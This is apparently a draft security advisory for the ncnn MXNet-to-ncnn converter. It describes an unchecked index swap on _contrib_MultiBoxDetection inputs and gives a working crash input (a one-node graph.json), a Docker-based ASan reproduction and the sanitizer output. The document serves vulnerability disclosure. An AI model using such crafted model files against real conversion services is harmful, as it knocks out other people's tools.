All advisories
Draft

Out-of-Bounds Access in MXNet Converter

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Out-of-Bounds Access in MXNet Converter

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/mxnet/mxnet2ncnn.cpp:1080 in main
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5dfc0812b5a6 bp 0x7fffcd408980 sp 0x7fffcd405c30 T0)

Summary

mxnet2ncnn reorders the inputs of a _contrib_MultiBoxDetection node by swapping n.inputs[0] and n.inputs[1] without checking how many inputs the node actually declares. An MXNet JSON graph whose detection node has an empty inputs list makes those subscripts read past the end of an empty std::vector, dereferencing a null data pointer and terminating the converter. Entry point: mxnet2ncnn graph.json params.bin out.param out.bin on an attacker-supplied model.

Detail

The untrusted field is the inputs array of each node in the MXNet JSON graph. read_mxnet_json parses it verbatim into n.inputs, and the conversion loop then rebuilds that vector by partitioning it into weights and real inputs — an empty input list simply yields an empty inputs vector. Immediately afterwards, the _contrib_MultiBoxDetection special case indexes elements 0 and 1 unconditionally:

// tools/mxnet/mxnet2ncnn.cpp:1074
        n.inputs = inputs;
        n.weights = weights;

        if (n.op == "_contrib_MultiBoxDetection")
        {
            // reorder input blob
            int temp = n.inputs[0];
            n.inputs[0] = n.inputs[1];
            n.inputs[1] = temp;
        }

Note the contrast with the loop that follows on line 1086, which correctly bounds itself with j < (int)n.inputs.size(). The swap block has no such guard, and no earlier stage rejects a detection node with fewer than two inputs.

The PoC graph contains a single node, {"op": "_contrib_MultiBoxDetection", "name": "det", "inputs": []}. After the partition loop n.inputs is empty, so data() is null and n.inputs[0] — an unchecked *(int*)(data() + 0) — reads four bytes from address 0x0 at line 1080. With a one-element inputs list the same block instead reads and writes n.inputs[1], four bytes past the end of a one-element heap allocation. The accompanying params.bin only needs to be large enough for the parameter header; the crash happens while walking the JSON graph, before any weight data is consulted.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-access-in-mxnet-converter && cd ncnn-poc-out-of-bounds-access-in-mxnet-converter

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > graph.json <<'JSON'
{
  "nodes": [
    {
      "op": "_contrib_MultiBoxDetection",
      "name": "det",
      "inputs": []
    }
  ]
}
JSON

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/mxnet/mxnet2ncnn graph.json null

AddressSanitizer output:

fopen null failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5b96389195a6 bp 0x7fffa5279fc0 sp 0x7fffa5277270 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5b96389195a6 in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:1080
    #1 0x7cc6f27301c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #2 0x7cc6f273028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x5b963890d9c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/mxnet/mxnet2ncnn.cpp:1080 in main
==1==ABORTING

Credit

Zheng Yu @ DepthFirst